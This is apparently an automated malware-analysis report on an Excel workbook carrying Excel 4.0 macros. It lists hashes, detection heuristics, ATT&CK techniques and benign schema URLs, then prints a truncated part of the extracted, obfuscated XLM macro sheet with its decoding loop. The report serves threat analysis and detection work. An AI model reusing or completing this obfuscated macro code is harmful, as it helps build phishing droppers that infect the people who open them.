Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e1737f359f84f029…

MALICIOUS

Office (OOXML)

16.8 KB Created: 2020-11-13 07:54:05 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-17
MD5: 9f7da58c694d36c8babdb4de2715445e SHA-1: 6e1c3e2876ee11126ab79ee68e7460bf6c951f8d SHA-256: e1737f359f84f029bd893841acc0767174bfabdc6baee0bf7fe4d0641efb5017
182 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an OOXML file containing Excel 4.0 macros, indicated by critical heuristic firings for XLM macros and the Auto_Open defined name. The document body presents a deceptive message urging the user to 'Enable Editing' and 'Enable Content', a common social engineering tactic to bypass security warnings. The presence of dangerous XLM formula APIs like RETURN and HALT suggests the macros are designed to execute arbitrary code, likely to download and run a second-stage payload.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: RETURN, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 10523 bytes
SHA-256: f78f7a7fd8fdd36a91405c423856218f250fbdbd0a14bc65fc353f1782a417ff
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{4D0833DB-ED77-4ACF-B2D9-F70280980174}"><dimension ref="C62:K234"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="62" spans="11:11" x14ac:dyDescent="0.25"><c r="K62"><v>108</v></c></row><row r="63" spans="11:11" x14ac:dyDescent="0.25"><c r="K63"><v>97</v></c></row><row r="64" spans="11:11" x14ac:dyDescent="0.25"><c r="K64"><v>100</v></c></row><row r="65" spans="11:11" x14ac:dyDescent="0.25"><c r="K65"><v>107</v></c></row><row r="66" spans="11:11" x14ac:dyDescent="0.25"><c r="K66"><v>128</v></c></row><row r="67" spans="11:11" x14ac:dyDescent="0.25"><c r="K67"><v>112</v></c></row><row r="68" spans="11:11" x14ac:dyDescent="0.25"><c r="K68"><v>118</v></c></row><row r="69" spans="11:11" x14ac:dyDescent="0.25"><c r="K69"><v>97</v></c></row><row r="70" spans="11:11" x14ac:dyDescent="0.25"><c r="K70"><v>107</v></c></row><row r="71" spans="11:11" x14ac:dyDescent="0.25"><c r="K71"><v>97</v></c></row><row r="97" spans="3:3" x14ac:dyDescent="0.25"><c r="C97"><v>730</v></c></row><row r="98" spans="3:3" x14ac:dyDescent="0.25"><c r="C98" t="b"><f bx="1">IIlYWRVzs=((PRODUCT((FALSE),((1))))+0)</f><v>0</v></c></row><row r="101" spans="3:3" x14ac:dyDescent="0.25"><c r="C101" t="b"><f bx="1">MrHbQTbei=IIlYWRVzs</f><v>0</v></c></row><row r="103" spans="3:3" x14ac:dyDescent="0.25"><c r="C103" t="s"><v>0</v></c></row><row r="106" spans="3:3" x14ac:dyDescent="0.25"><c r="C106" t="b"><f bx="1">zpyepBI=IIlYWRVzs</f><v>0</v></c></row><row r="107" spans="3:3" x14ac:dyDescent="0.25"><c r="C107"><v>-272</v></c></row><row r="108" spans="3:3" x14ac:dyDescent="0.25"><c r="C108"><v>283</v></c></row><row r="109" spans="3:3" x14ac:dyDescent="0.25"><c r="C109"><v>506</v></c></row><row r="111" spans="3:3" x14ac:dyDescent="0.25"><c r="C111" t="b"><f bx="1">gVFoySaUr=ROWS(sXbmtDGc&amp;"")</f><v>0</v></c></row><row r="113" spans="3:3" x14ac:dyDescent="0.25"><c r="C113"><v>-917</v></c></row><row r="115" spans="3:3" x14ac:dyDescent="0.25"><c r="C115" t="b"><f bx="1">QYXquBQg=ROWS(RXEpIwkzlu&amp;"")</f><v>0</v></c></row><row r="116" spans="3:3" x14ac:dyDescent="0.25"><c r="C116"><v>-664</v></c></row><row r="117" spans="3:3" x14ac:dyDescent="0.25"><c r="C117" t="b"><f>WHILE(NOT(ABS(MrHbQTbei)&gt;=ABS(gVFoySaUr)))</f><v>0</v></c></row><row r="120" spans="3:3" x14ac:dyDescent="0.25"><c r="C120" t="b"><f bx="1">frQnP=""</f><v>0</v></c></row><row r="121" spans="3:3" x14ac:dyDescent="0.25"><c r="C121"><v>-838</v></c></row><row r="122" spans="3:3" x14ac:dyDescent="0.25"><c r="C122"><v>7</v></c></row><row r="123" spans="3:3" x14ac:dyDescent="0.25"><c r="C123"><v>-411</v></c></row><row r="125" spans="3:3" x14ac:dyDescent="0.25"><c r="C125" t="b"><f bx="1">MrHbQTbei=MrHbQTbei+1</f><v>0</v></c></row><row r="126" spans="3:3" x14ac:dyDescent="0.25"><c r="C126"><v>-689</v></c></row><row r="128" spans="3:3" x14ac:dyDescent="0.25"><c r="C128"><v>-786</v></c></row><row r="130" spans="3:3" x14ac:dyDescent="0.25"><c r="C130" t="b"><f bx="1">SMHlCVWhWeBZ=INDEX(sXbmtDGc,MrHbQTbei)</f><v>0</v></c></row><row r="132" spans="3:3" x14ac:dyDescent="0.25"><c r="C132"><v>-504</v></c></row><row r="133" spans="3:3" x14ac:dyDescent="0.25"><c r="C133" t="b"><f bx="1">ztDklQDOeB=LEN(SMHlCVWhWeBZ)</f><v>0</v></c></row><row r="136" spa
... (truncated)

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